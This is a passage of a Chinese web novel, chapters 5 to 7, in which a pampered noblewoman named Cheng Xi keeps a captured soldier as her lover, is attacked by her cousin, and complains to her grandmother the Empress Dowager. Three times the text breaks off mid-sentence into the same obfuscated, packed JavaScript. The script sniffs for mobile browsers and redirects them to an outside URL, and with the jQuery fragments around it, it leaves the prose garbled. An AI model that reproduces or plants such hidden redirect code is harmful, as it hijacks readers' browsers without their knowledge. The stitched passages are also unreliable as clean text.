程曦转动修养过一晚上的脑子,当即笑问:“‘叩问天地之道,探求人事之本;彼是莫得其偶,谓之道枢’的‘问枢’吧?勾合儒道医三家之言,好名字。” 确实是个好名字。 但这时候的人大多不识字,更不要提能够阅读到三家典籍,再把学会的知识反刍,用来给孩子取名了。 不会放纵一下,就中大奖,遇上奸细了吧? 程曦美眸低垂,仔仔细细观察着刘问枢的五官,审视起给了她一晌欢愉的男人,柔声问:“你可有什么本领?” “说一说,我好让下头人给你安排身份。”她指甲刮过战奴喉结。 喉结顿时上下滚动,锦裘被撑起得更明显了。 刘问枢垂下睫毛:“奴,善射。” “嗯。”程曦鼻腔里发出带着笑意的认同,“你昨晚表现过了。除此之外呢?” 年轻男人猛然抓紧身侧褥子,加重了呼吸,声音虚弱得几不可闻:“奴、奴……奴通文断字,也能做些文书工作。” “所以,你被抓之前是什么身份?”程曦眼中带着恰到好处的好奇。 她俯身重新趴回男人胸口,手指在他厚实的胸肌上打着圈,近乎叹息地说:“说给我听听,我想知道你的全部过去。” “乡君想知道哪些事情?” “什么都行,就从你出生还是说吧,你生得这般高大,父母一定也非常人。”程曦头也不抬便回答,手指在男人胸口拨弄。 男人呼吸不稳,勉强把卡在喉咙的喘息咽下肚。 他几乎抓破了身下的褥子才没发出不该出现的声响,一开口,嗓子沙哑得不成样子:“阿娘是被进献给襄王的美人。襄王幸过几回,便把阿娘送给一得力下属做妾。” “大母贤淑,不曾亏待我们母子,可六岁上头,大父战死,大母带着我们母子,再一次成了襄王的姬妾。” “襄王子嗣骄横,数次羞辱大母,我看不过,与他们争论厮打,被六人围殴,拼死咬断了襄王两子的手骨。襄王听后大为惊异,反而重视起我来,送我去名儒门下学习,又派大父亲弟指点我武功兵法。” “年满十三,我就开始跟着叔父的军队外出。一直到今年襄王大败南逃,我已从军八载。” 短短几句话概括了刘问枢的一生,他说完停声。 手下将领死了,把对方妻儿都接到自己身边作为姬妾供养教育的行为,实际上是表现出不必手下将领担心儿孙会在自己死后衣食无着。 原来是被尽心栽培过,难怪刘问枢能吃饱穿暖,长成个健壮的青年。 按理来说,刘问枢应该属于襄王最亲近的那群武将了。 襄王战败南逃,为什么把心腹精锐哪来当炮灰? “你们被襄王丢下了?” 刘问枢脸上终于出现严肃的神情,他郑重道:“我和叔父是甘愿留下为大王断后的。这样大母才能无牵无挂地随着襄王离开。” 前一句还是“大王”,后一句就成了“襄王”。 看来刘问枢是觉得他欠了襄王的养育之恩,在为襄王断后时候就偿还干净了。 程曦用脸颊蹭了蹭刘问枢的胸口:“你叔父也活着吗?” 怀中的身体顿时绷紧,放松时候柔软的肌肉变得硬邦邦的。 “叔父年老,不看苦役,已经殁了。” 程曦叹了口气,遗憾道:“可惜了,愿意为君王断后的都是忠臣。” 她仰起头,用指甲戳了戳刘问枢的嘴角:“我本想用你叔父威胁你不准对我有二心的,不过现在嘛……” 刘问枢一把握住程曦的手指,急道:“求乡君为奴叔父收殓。” 程曦反握住刘问枢的手,手指摩挲着男人手背滚烫的皮肤,说出口的话十分残忍:“官职和收殓你叔父,只能二选一。你可要想好了,机会只有一次。” “奴……知道的。”刘问枢没有和程曦讨价还价,只是微微红着眼睛低声回答。 程曦看了他一眼,恍然明白刘问枢为什么“知道”了。 ——他一生都在面临选择,太懂得选择的后果了。 “……我选为叔父收殓,”话落的同时,刘问枢揽住程曦,在床上翻身,将她压在卧榻上,发着抖将脸埋在程曦怀中,“只要,乡君别抛弃奴,奴就还有您可以依靠,奴愿意不在人前现身。” 程曦隐约觉得还有些不对劲,可脑子已经转不过来。 又是一场云雨后,她汗涔涔地仰面躺在榻上,好似背影一条巨蟒紧紧缠住。 她总算回想起之前的问题:“对了,你母亲呢?” “母亲与襄王重逢后,襄王没能认出她来,她伺候完襄王,回去便自尽了。”刘问枢把脸埋在程曦颈侧。 程曦感觉到一串温凉的泪珠落在她身上,心中一软,抬手摸了摸刘问枢的后脑勺,软下嗓音:“起来吧,梳洗用饭之后,我带你去街上逛一逛——为你叔父买一口好棺材。” “是,奴多谢乡君,必为乡君尽力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051908|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘问枢连忙抹去泪水,起身之后,又红着脸返回,主动亲了亲程曦的脸颊,将她打横抱起,步入隔壁的浴房,亲手为她擦洗。 作为程太后孙辈唯一的女孩,程曦享受无上荣宠,享受的物质条件也无人能及。 因为自小爱洁净,程太后大手一挥,直接把附近温泉扩入公主府,专门为她开辟了随时能玩水的浴房。 热水包裹,酸软自身体抽离。 刘问枢跪在池外,一双手规规矩矩按摩着程曦的肩膀。 女子舒服地喟叹在浴房低低回响,侍女守在门口低垂着头,不敢入内。 “够了,你自己洗吧——来人。” 程曦一声令下,一串侍女鱼贯而入。 有人端着膏脂,有人捧着头油,有人举着新衣,谁也没看紧张到直接跃入水中把整个人埋起来的刘问枢,自顾自为程曦服务。 打扮停当,程曦回头,看到刘问枢只在水面上露出半个后脑勺的模样,情不自禁笑了。 “不想让人看你?觉悟还挺高。”她招招手,把全部侍女带离。 浴房的门重新合拢,刘问枢才从水中出来。 他用干布迅速擦净身体,小心翼翼地碰了碰留在桌面上的衣服。 指腹下,布料光滑柔软,内里衬着厚实的皮毛,足以抵挡严寒。 “多有不如……” 不如荣昌乡君的肌肤十分之一。 刘问枢捧起衣服,把脸埋入其中深深吸气,与少女体香相似的味道钻进鼻腔,终于为他带来熟悉之感。 他快速穿上衣物鞋袜,走出浴房后被等候的侍女带去用饭。 刘问枢脚下速度飞快,到了隔间,桌上摆了六菜一汤一饭。 饭菜诱人的香气一个劲儿往他鼻子里撞。 可刘问枢举目四望,却没看到程曦的身影。 “乡君呢?” 守在隔间的侍女视线顿时变得好像钢针,狠狠扎进刘问枢肉里。 她卷起唇角,翻了个白眼,才低声说:“乡君当然是在饭厅用膳,怎么能和下人同吃同睡。郎君做完已经犯错了,尽快认清自己的身份才好。” 下人。 这就是他在荣昌乡君身边的身份。 襄国将士变成了夏国的战俘和奴隶,他能衣食无忧,已经幸运。 刘问枢垂下眼帘,乖顺无比地答应:“多谢指点。” 侍女收了脸上不屑的表情,放平语气:“快吃吧,吃完了去用青盐刷牙。乡君要出门,断不可带着口气出现在贵人面前,丢乡君的脸面。” 刘问枢马上加快进食速度。 六菜一汤配饭全被送下肚。 * 刷牙换衣后,刘问枢被逮到程曦面前。 程曦照旧穿着长长的袍服,裙摆落在席子上,阳光照在她身上,布料上缠枝龙纹闪闪发亮,如同在游龙围绕着少女周身盘旋。 少女笑着朝他丢了一只脆桃:“拿着,我们走。” 刘问枢一把抓住,这才从对少女的美貌震撼中清醒。 他抬脚跟上,登车后跪在程曦身侧。 惬意时光在马车驶出公主府的瞬间结束了,一匹高头大马直接冲出来,蛮横地拦住了程曦去路。 “乡君留步。” 5. 第 5 章 深冬的风像割人的刀子,裹了皮毛的窗户贴心地把风挡在车外。 刘问枢似乎累坏了,上车后,就没了声音。 他在车厢里端坐很标准,双手把程曦给他的桃子抱在怀中,若非头不自觉枕在同样覆盖了皮毛的车壁上,没人能发现他已经悄然入睡。 这姿势应该很难受,但刘问枢脸上只有惬意,仿佛他是一只习惯于蜷缩身体,在任何地点酣然入睡的猛兽。 一道人影突然闯到车前,别停了马车。 “吁——!”车厢猛地一晃。 刘问枢头“咚”地狠狠撞在车壁上,精致的五官因为疼痛,龇牙咧嘴地扭曲到一起。 被他抱在怀中的桃子掉在车厢地板上,骨碌碌地滚远了。 在马蹄不安的踢踏声中,刘问枢一瞬间睁开眼睛。 他眼神仍旧迷茫,耳朵却捕到桃子滚动的声响,直接扑过去,把它重新抓回掌心。 桃子破皮了,甜蜜的汁水沾满年轻男人手指,他满脸无措地看向程曦。 战奴无措道:“乡君,桃子破了……” “乡君好大的架子!族兄在门外等了你一天一夜,你竟紧锁大门,始终避而不见!” 车窗被一剑捅开。 裹着窗户的皮草在剑下破碎,冷风“呼”地一声灌进车厢,吹得皮毛乱飞,兜头喷了程曦满脸,刺得她当场双目生痛,流下泪水。 “我的眼睛!”程曦捂住双眼,想要起身,却被长长的裙摆绊住脚步。 穿着罗袜的脚踩到坐具,脚下一滑,坐具与人同时倾倒。 “乡君!” “乡君小心!” 侍女急忙上前搀扶,勉强稳住程曦的身子,可她脚踝一阵刺痛,已经伤到了。 “先扶坐在桌面上,为乡君清洁双目。” 刘问枢当机立断,将桌面杯盘全部撤下,从丫鬟手里抢过程曦,小心翼翼地将她放在矮桌上,取出清水冲洗双眸。 “乡君,好些了么?”刘问枢虚握着程曦指尖,跪在地板上,仰望着少女,目光关切。 程曦点点头:“无碍了。” 刘问枢松了一口气,低头扶起坐具,膝行着向后退开,不再言语,只从地上捡回程曦投给他的桃子,惋惜地抚摸着洗去绒毛的表面,小声嘟哝:“都摔坏了。” “以后再给你,跟着我,不会短了你吃喝呢。”程曦不假思索地承诺。 刘问枢瞥了程曦一眼,笑意爬上精致的脸,用力点点头,又羞涩垂眸,探手牵住程曦,勾着她的手指:“乡君不必为我破费,我能吃饱就有力气。” 指尖痒痒的,似乎连心都被碰触了。 程曦脸上一红,竟然瞬间理解了刘问枢的暗示。 “够了!光天化日之下,你们、你们说得是些什么东西!”程旭恶狠狠地剜了程曦一眼,瞥见刘问枢的时候,却透出杀意。 程太后大权独揽,她三代子孙之中,只有程曦一个女孩,生得花容月貌,像极了程太后年轻时候,自小荣宠不断,身无寸功便已有了乡君的名位和两百户食邑。 程曦凝结了程家的美貌和皇室血脉,是他们程家的圣眷独照的代表。 程曦本可以嫁给皇子,再为程家延续四十年的盛宠。 可她做了什么? 她居然学起京中浪荡贵妇,直接把艳婢壮奴带回公主府过夜,让程家多年期待一朝成空。 程旭想起这事情就一阵怒上心头。 他的族叔,日耀长公主的丈夫,程曦的父亲程玉,昨天一整晚在程家大厅里面从东走到西,又从南走到北,一个劲儿的绕圈。 程玉嘴里念叨个不停,反复纠结入府的战奴到底是伺候哪位主人的,一会说日耀长公主对他痴情不悔,长公主怎么能对他不忠,让他当王八;一会骂荣昌乡君不知廉耻,小小年纪就养汉子,最后趴在地上嚎啕大哭,抓着他爹的裤腿不放,非让他爹帮忙想想办法。 程家能有什么办法? 日耀长公主是君,荣昌乡君虽然姓“程”,可她也躲在长公主府里不出门,程家连程曦的面都见不到,让他们怎么管? 程玉纯属是强人所难。 可程旭就算不管被程玉族叔一句接一句的“旭儿,你可是未来的族长,你不能不管”,他也有自己的打算。 ——程家的女郎,怎么能不为家族奉献! 程旭昨天在公主府外冻到宵禁,今天天刚亮,又被催着过来,已经冻了将近两个时辰了。 日上三竿才出门,堂妹真是太荒淫了! 程旭憋了一肚子火,开口没一句好腔调:“堂妹真是越发能耐了,太后刚为你办完及笄礼。你不想着和大皇子尽快谈妥婚事,反而先去挑选了一群战奴夜夜笙歌。今日还敢带这些玩意儿招摇过市。你把程家的脸面置于何地!” 程曦自小到大就没受过委屈。 即便程家人,她也只是表面客气,实际上只是懒得处理那些麻烦的事情,才偶尔退让。 被程旭不分青红皂白一顿数落,程曦当场没了好脸色,反唇相讥:“堂兄这般关心大皇兄被窝里有没有人暖着,可见对大皇兄一片真情。不如我向外祖母请旨,让你进宫给大皇兄做伴读吧——那寻常人家小厮每到主人家憋不住想泻火,就撅起屁股受着,堂兄去伺候大皇兄也正合适。” “你你你!——你真是粗俗不堪,寡廉鲜耻!”程旭被噎得一口气险些提不上来,脸涨得通红,声音徒然拔高,“你我一笔写不出两个‘程’字,一荣俱荣一损俱损,为何要羞辱自己族兄!” “凭我娘是日耀长公主,我外祖母是太后,我盛宠在身。” 程曦已经没有心情通知程家大皇子因为在内宫偷情,而失去继承权的消息了。 她两条弯月眉毛蹙了蹙,不咸不淡地说:“既然你如此看好大皇兄,在族中另选合适女子送进宫吧。我已同外祖母说清楚,不愿入宫,要自行婚配了。” 她说完,突然一笑,指着程旭讥讽:“堂兄,不知道的还以为你改行做门房了,跟石狮子一块守在门边上,真是相得益彰,体面得很。” 程旭领中郎将的官职,平时负责宫殿门户和皇帝贴身警卫。 程旭目眦欲裂,指着程曦,几乎要把唾沫星子都喷到她脸上:“你敢骂我是看门狗?是你亲手砸碎了程家的青云路!” “顶着‘程’这个姓氏,举孝廉都没你的份。你醒一醒吧,你纯粹是攀着女人裙带才有今日的,怎么有脸提‘青云路’。” 程曦掸了掸裙角不存在的灰尘,轻轻摆手,向侍女吩咐:“好狗不挡路,我们走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051909|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 马车重新启动,直接向前走,不避不让。 程旭连忙控着马闪到墙根底下,可还是被车厢擦上后背,狠狠撞了一下。 “程曦,你放肆!”程旭气血上涌,给程曦点颜色看看的心思彻底覆盖理智。 悬在腰间的佩剑出鞘,寒光一闪,竟不管不顾地捅进破损的窗户,对着车厢内一通乱挥! “我让你不知好歹,今天非要给你点教训!” “乡君小心!”刘问枢一把扑到程曦身上,双手扣住少女细腰,将她带到矮桌后的隐蔽处,死死压在她身上,为她挡住刀光剑影。 “你这该死的贱奴,都是因为你,程家多年的谋划全毁了!我要杀了你!” “嘀嗒。” “啊啊啊——!” 尖叫响起的一瞬间,粘稠的红色落在程曦眼中,她瞪大眼睛却什么都看不见。 破了皮的桃子就在程曦脸颊旁,桃香四溢,盖住血腥气。 “刘问枢?刘问枢!你还活着吗!”她抓进身上男人的衣襟,手中的衣料也粘稠得滑手。 “呲拉——” 衣料破损的声响再次响起,柔软的绸缎被暖洋洋的手指拖着擦去程曦脸上的血迹,“乡君别怕,很快就好。” 话音未落,刘问枢已然绷紧手臂肌肉,将剑尖卡死在自己体内,让程旭无法拔剑。 他大喝一声,猛然探身出窗,展臂一把薅住程旭的头发和卡死在官袍上的胸甲,直接把人从马背上拔葱似的扯进车厢。 “你干什么——呃!” 刘问枢在程旭眼前无限放大。 一个头槌砸在程旭脸上,他好像被千斤重锤敲中,脑中“嗡”的一声,顷刻失去意识。 “乡君,危险被我解决了。”刘问枢回头邀功。 冷风吹着他散落的碎发,在黑白分明的眼睛旁飘动。 青年表情纯真,简直像是邀功的猎犬。 他丢垃圾似的松开手,程旭顿时“咚”地一声摔出车窗,又砸在冻得结结实实的地面。 程旭一只脚还卡在马镫里,被受惊的骏马拖着一路狂奔。 宝剑仍旧卡在刘问枢手臂中,他不当一回事地抬手拔出,伤口里,又涌出一片赤红。 “你受伤了!——快,去太医署!”程曦被脸上仍旧带着没擦净的血痕,被吓得面色煞白,急急忙忙下令车夫改道。 刘问枢好像这才发现自己身上的伤口会疼,脸上的笑容慢慢消失。 “我……受伤了?” 他捂住伤口,嘶嘶地抽着气,眼睛飞快瞥视程曦,突然脱力地跌坐在地板上,头枕在了程曦怀中:“啊,好疼。” 程曦抱住刘问枢,手忙脚乱地压住不断出血的伤口:“很快就到太医署了,你会没事的。” 刘问枢枕在程曦膝头,慢慢眨着眼睛,仿佛失血也带走了他的神志。 过了一会,他才虚弱地摇摇头:“乡君放心,奴受乡君垂青,得一夕之欢已是此生不敢想的幸运。奴就算当即死了也是甘愿的,只求乡君能替我照顾好我那些同样被襄王抛弃的战友……” 他长长吐出一口气,热气落在少女小腿上,身子一软,没了声息。 “刘问枢?刘问枢!你醒醒,坚持住啊!”程曦一下慌了神。 6. 第 6 章 血的腥气和桃子的果香混合在车厢之中,平白酝酿出一股微妙而令人躁动的氛围。 马车一通狂奔,以最快速度抵达目的地。 璀璨的鎏金铜铃在阳光下爆发出惊人的光芒,一见便知这是荣昌乡君的车驾,无人胆敢阻拦。 马车顺利冲入太医署内,太医们带着徒弟迅速迎上来。 “可是乡君受伤了?” 程曦没有废话:“我的人被剑刺伤了手臂和后背,救活他。” “快把人抬下车,小心着些。”太医们不敢怠慢,几个年轻学徒马上抬来担架,把刘问枢小心翼翼地运进室内。 路过马车时,太医们纷纷调转视线,明明看到了破损的车窗,却没有一个敢于发问。 至于那句“剑伤”,更是无人置喙。 程曦着急地起身,脚踝突然传来一阵刺痛。 她咬紧牙根,扶着车壁稳定身体。 “乡君别动。”侍女连忙上前搀扶,“奴婢去背着乡君吧?” “路滑,别把你也带倒了。”程曦让侍女搀扶着,单腿跳着下车,全然不管姿态是否不雅。 “奴婢给县主提着裙摆,别踩了。” 另一个侍女上前,连忙抓起裙摆。 ——程曦待下人向来宽厚,可她们却不能因此就不尽职尽责。 太医署内鼓胀着艾草的清苦气味。 太医正躬身在诊疗床前,正在亲手为刘问枢清洗伤口。 刘问枢的新衣被彻底剪开,变成一地碎布,露出他伤痕累累的身体。 除了洞穿手臂的两道剑伤、背后几道被利刃划开的创口与一切旧伤外,青年脖颈、胸口和侧腰也遍布着暧昧的抓痕。 红红紫紫的一片,让人不知该把视线放在何处。 幸好太医正见多识广! 他在剑伤处涂满金疮药,然后从药柜里一手抓着一只大肚子瓷瓶返回,拔掉瓶塞,面不改色地倒了满手充满花香的药油,把药油在刘问枢身上推开。 金疮药覆盖住创口,血很快收住,可涂了药油的身体却在微光的照耀下更显肌肉饱满,蓬勃着奇异的诱惑。 太医用干净布巾擦掉手上药油,随手把擦手布丢弃进床下的陶盆的血水中。 大肚子瓷瓶被他放入程曦掌心,太医正绷着脸皮,声音飘忽:“这是内宫养身的药油,可润肤化瘀。男女皆可使用。” 他说完话,极快地瞥了程曦眼下的青黑和干燥的嘴唇,确定程曦没有暴怒,才继续补充:“乡君年少,房事不节恐伤肾精,还请保重自身,避免虚火上浮。下官为乡君抓一副滋阴润燥的汤药吧?” 程曦猛然捏紧瓷瓶,脸上热辣辣的。 “……有劳太医正了。”程曦伸出手腕,耳朵过重的血色却怎么也无法褪去。 她急忙转移话题:“我刚刚扭到脚了。” “乡君,骨伤不可轻忽,怎么不早说——闻歌,快来。”太医正急忙蹲下,检查程曦脚上的扭伤。 身着青衫的年轻男人从人后走出,跟着跪到程曦脚下。 “这是前任太医正许攸之子,许闻歌。”太医正脸上带上笑,满是看到未来可期的后辈的欣慰,“除了继承家学,专擅女科之外,对骨伤和外伤也特别有天分,连太后都夸奖过,常常宣他进宫推拿。骨科软伤,臣不如许闻歌,请乡君容他来诊治。” “嗯,让他来吧。” 褪去罗袜,拉高裤腿,脚掌被许闻歌握在掌心。 他观察着脚踝。 脚踝并未肿起,看不出异常。 但这是许闻歌第一次为贵人诊治,他不敢轻忽。 他握着程曦的脚踝,轻轻扭转了几下。 粉白的脚趾立刻蜷缩起,脚趾夹住他掌根的皮肤。 许闻歌停下动作,“这疼?” “你把我脚掌往下掰的时候才疼。”程曦咬着嘴唇,轻轻抽着气回答,眼睛有些红,却忍住了泪水。 太医正马上问:“闻歌,怎么样?” 许闻歌点点头:“伤不在脚踝,是脚心的小关节错位了,推正即可。” 他视线转向程曦,抿紧嘴唇,为难道:“正骨不难,但比较疼,乡君若是觉得叫喊不雅,可口衔一枚软木,亦或叼住手帕。” 程曦当然怕疼,这是人之常情。 可听到小太医在乎的只是她叫出来是不是面子不好看,反而放松了精神。 就算她的尖叫穿透太医署,又有哪个朝臣敢说她的是非呢。 她笑着拍拍许闻歌肩膀:“无妨,动手吧。” “谢乡君恕臣无礼……” 话到一半,许闻歌手上忽然用力。 程曦脚心猛然一痛,毫无准备地发出一声尖叫:“啊!” “乡君,好了。”许闻歌隐含笑意,起身后退。 程曦落脚,赤足踩着地板,来回“踮脚-落脚”几次,不疼了。 “许太医果然有一手俊功夫。” 侍女提着两份药材回来,一份五包,一份一包,向她禀报:“乡君,刘问枢醒了。” 程曦穿好鞋子起身:“我们走吧。” “臣等恭送乡君。” 待程曦一行人登车离去,许闻歌才发现随手别在腰间的雪白罗袜。 他动了动手指,那一抹白被不着痕迹地藏入袖中。 * 马车上,破损的窗户已被拆下。 钉在底板上的矮桌被挪到破损的窗户旁,空出一整片位置,皮毛坐垫被一并铺在此处。 程曦伸手指着吩咐:“你过去趴着。” 侍女询问:“乡君,还上街么?” 程曦气得弯眉扬起:“逛什么街,进宫告状。” 程家这几十年傍着程太后,太过猖狂,已经忘记做臣下的本分了。 刘问枢趴在软垫上,牵住程曦的手指,有气无力道:“族人关系重要。乡君不要为了奴,坏了和家人的感情。” 他嘴角出现了一个很浅的笑容,可眉尾低垂,让笑容充满了苦味。 “只是小伤而已。被押解进京的路上,奴受过的伤比这严重得多。那些,奴都能熬过来,现在好好处理过伤口,奴不会有事的。只可惜……” “可惜什么?”程曦顺口问。 刘问枢瑟缩了一下,声音几乎被含在嗓子眼里:“可惜不能用我这条贱命,给族人换乡君的怜惜了。” 他抓进程曦的手指,着急地解释:“天太冷了,他们不少人身上都带着伤,每日又要挖掘河道。若没有救助,这么消耗下去,大约熬不过今冬了。奴并非有二心,只是舍不得看着一条条命就这么没了,他们都是战场上能以一敌十的老兵,可以另有大用处的。” 程曦知道战俘都会被派去做最艰苦的工作,也知道没多少能活下去。 但她更清楚,这回大胜是程太后派出十五万大军才得来的。 胜是真,但这是一场惨胜。 夏国同样消耗不少,接下来至少三年,都需休养生息。 如果对待这群能打的襄王军太过仁慈,一旦战俘南逃,返回襄王身边,对夏国就太过不利了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051910|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏国好,程曦才会好。 她可以挑几个有才华的战奴回来,但不会随意施恩。 若想要把人都救回来,就要看刘问枢自己的本事了。 想要的,他自己建功换。 程曦狠心抽回手,捏着刘问枢的下巴认真道:“我不会帮你把人都带出来,以后不要再为了这种事开口向我求恩典。” 是“不会”,而非“不能”。 程曦不愿意! 刘问枢的睫毛颤抖着,终于闭上眼睛,声音发抖:“是奴任性了。” “知道就好,别恃宠而骄,我这一次不跟你计较。”程曦撇开视线,面无表情地看向窗外。 她的手再次被刘问枢勾住,却没甩开。 马车经过一道道检查进入宫门,停在长乐宫内廷的空地上。 侍人马上搬来马凳,恭敬地服侍程曦下车。 程曦脚刚落地,抬眼就看到了程家现在的族长、程太后的亲侄子程辉,带着程旭和她亲爹驸马程玉站在门口,等待程太后召见。 程辉不动如山,视线紧盯着殿门,当程曦不存在。 程玉狠狠瞪了亲女儿好几眼,目光扫过她身旁的战奴,越发不善。 程曦昂首展开手臂,直接把刘问枢挡在身后,然后,她不客气地对程玉翻了个白眼,略过不看。 当视线绕到最后面,她忍不住“噗呲”一声大笑起来。 程旭一张俊脸磕得青肿,已看不出原样,腋下还夹了根拐棍支撑着身体,好似瘸了腿。 “你笑……呜!”辱骂没说完,他赶紧抬手遮住缺了颗门牙的嘴。 “牙都磕掉啦?真活该,看你以后还敢不敢来找我麻烦!”程曦笑嘻嘻地鼓掌。 她故意回头摩挲着刘问枢的脸颊,凑过去亲了一口,然后大声说:“早知道你把事情办得如此妥当,我就准了你的请求。哼,想要伤我的人,也不配进入朝堂得享仕途——下次这种人再来挑衅,你只管狠狠的打,不用再留性命了。” 程旭彻底忍无可忍,拄着拐杖上前,挥起拳头准备动粗。 “闹够了没有?还嫌不够丢人么。这是你能胡闹的地方?”程辉一脚踹到儿子屁股上,把人踢倒。 “父亲,你打我?你应该打她啊!”程旭不甘心地抓着程族长衣袖指责。 程族长恨铁不成钢地甩开儿子的拉扯,拂袖叹息:“如此蠢货,怎么会是我儿子。” 到现在还没明白,这儿子毁得不冤枉。 幸好,他儿女众多。 还是尽快将次子带在身边亲自教导吧,免得任其发展,再养出个无药可救的蠢人。 房门开了一道细缝,内侍快步走下台阶。 程家三个男人都停下动作,围上去追着问:“太后得空了?” “请诸位稍后,太后正忙着。” 内侍推开送到眼前的红包,笑眯眯地弓着身子,向程曦谄媚道:“乡君受委屈了,太后命奴婢熬好了燕窝等着乡君呢。外头凉,乡君快请进殿。” “辛苦公公跑一趟,我这就进去。”程曦客客气气道谢,递了一块牌子给内侍,“自家碳铺,今年天冷,公公得空出宫,为家人填些炭火暖暖身子。” “多谢乡君。”内侍千恩万谢地接过牌子,快步赶往膳房取补品。 瞧瞧! 都是人,要不说宫里头当奴婢的都喜欢荣昌乡君呢?人家真惦记着他们的饱暖。 程曦笑着回头看了一眼,牵着刘问枢抬脚进门。 程家人站在寒风里,脸色青白交加。 7. 第 7 章 勤政殿的大殿立着一组纯金错银的白鹤造型香炉。幽香袅袅,阳光越过床栅,投射下白鹤灵动的光影。 地暖的热气蒸腾而上,室内温暖如春。 程太后在床前的长桌下端坐,身旁几名官员陪侍身旁,一同处理政务。 程太后头戴金冠,一根簪子固定浓密的发丝,除此之外身上再无其他配饰。 ——她早已过了需要打扮自己,获取宠爱来保证自己从君王手中分得权力的阶段了。 保养得宜的脸上已经有了岁月的痕迹,但岁月对程太后分外和善,保留了大部分美貌的同时,增加了令人目眩神迷的威仪。 只是此时,程太后的眼底蕴藏着挥之不去的倦色,看到心爱的外孙女也只微微牵起嘴角,“来了。” 她抬手示意,程曦马上加快脚步上前,握着程太后的手坐在她身旁。 刚坐下,程曦就自然而然地抢走朱批御笔,开始给程太后揉捏手腕,连声嘟哝:“进门就看到蜡烛已经燃了半根,您又早起理政了。太医都说您亏觉,说过多少回了?‘不可熬心血’,您总不肯听。” 下头诸臣该作什么,继续做什么,好似没听到程曦这番没大没小的话。 “小管家婆,没大没小的。要不哀家让成业扒内侍监的职务让给你算了,就会盯着我教训。”程太后倒是在程曦一开口就加深了笑意。 她掐了一把外孙女的脸颊,视线朝门口飞了一眼。 进门后,没人拦着刘问枢,他主动跪在门口的阴影中。 程太后年纪大了,看远处比看近处更加清晰,只一眼就发现被外孙女带来的男人身上紧紧裹着的是她外孙女的裘衣。 还算懂规矩。 程太后收回视线,手指从程曦眼眶擦过,笑道:“你还说我,自己昨晚不也没好好休息。” 程曦俏脸微红,抱住程太后手臂,直接把脸埋进她怀里,嗔道:“外祖母怎么也拿我打趣。” “我就你这么一个大宝贝。”程太后语速沉缓,声调偏低,带着久居上位的理所当然。 幸好,程太后晾着程家人,单独把程曦叫进来,也不是专门为了调侃外孙女的。 她直指重点:“怎么闹得这么大?” 不说对错,便是已经清楚刘问枢和程旭打架斗殴事情的来龙去脉了。 程曦越过这个问题,把问题推向程太后最无法忍耐的方向。 “这就要问问程家人的手都伸到何处了——我昨日出宫直奔战俘营,挑了人就走,一点没耽搁。可到程家门口时,已经有一群人等着找我讨说法了。” 给程曦拉车的四匹马,是程太后命人专门挑选的,各个都是万里挑一的宝马良驹。 战俘营在郊外二十里。 程曦去战俘营虽然没有遮掩行踪,可就算被人盯着,那些人一开始也不会想到程曦是过去从战奴里挑选男宠的。 那些话,她只在内宫提过。 泄密的是哪些人? 程太后身边用着这些人,她自己的安危如何保证? 消息怎么被传出的宫廷? 程家人又为什么要刺探程太后身边的秘闻?他们有什么阴谋? 程太后吃苦受罪一辈子才掌握皇权,可攀附在她身上的程家子弟享受荣光尚嫌不足,还要在她身边收买、安插人手,这何尝不是对程太后的羞辱? 给程家人上完眼药,程曦摇晃着程太后的手臂嗔道:“外祖母真该管管他们了。谁不知道我最听外祖母的话了?就算我的婚事有什么变化,那也应该想着是您对我有新安排了,哪里轮得到他们指手画脚的。” “就因为我不做皇子妃了,程旭居然直接举剑刺破了我的车窗,对我喊打喊杀的。那可是您专门给我打造的大车,他根本就是藐视皇权。” 皇权,多美妙的字眼。 程太后嘴角隐隐上扬。 程曦小鼻子一皱一皱的,“哼,我看他们一点都不明白,程家有今日,才不是靠着劳什子皇子、皇帝,他们不感激您照拂,倒想四处攀附,真糊涂。” 她突然转移话题,贴着程太后耳朵意有所指道:“外祖母,战俘营选来的几个战奴,都曾是襄王军中将领,识文断字、相貌整齐、体格又好。我送您三兄弟,是不是比娥皇女英还厉害。” 亲生的三个兄弟,能同时保证外形和才能,放哪里都是九九成稀罕物。 不论程太后打算收服后任用,还是当男宠,都是份送到心坎上的厚礼。 程太后一愣,怎么也没想到之前随口答应外孙女的话,这么快就有回音了。 她指着自己:“你办事真雷厉风行。不过,我都六十多的人,带着男宠……陛下恐怕不悦。” 儿子缠绵病榻,当娘的还有心情养男宠,怎么听都奇怪。 程曦用力摇头:“这可比舅舅听到您积极给皇子们和程家的姑娘保媒拉纤让舅舅安心多了。” 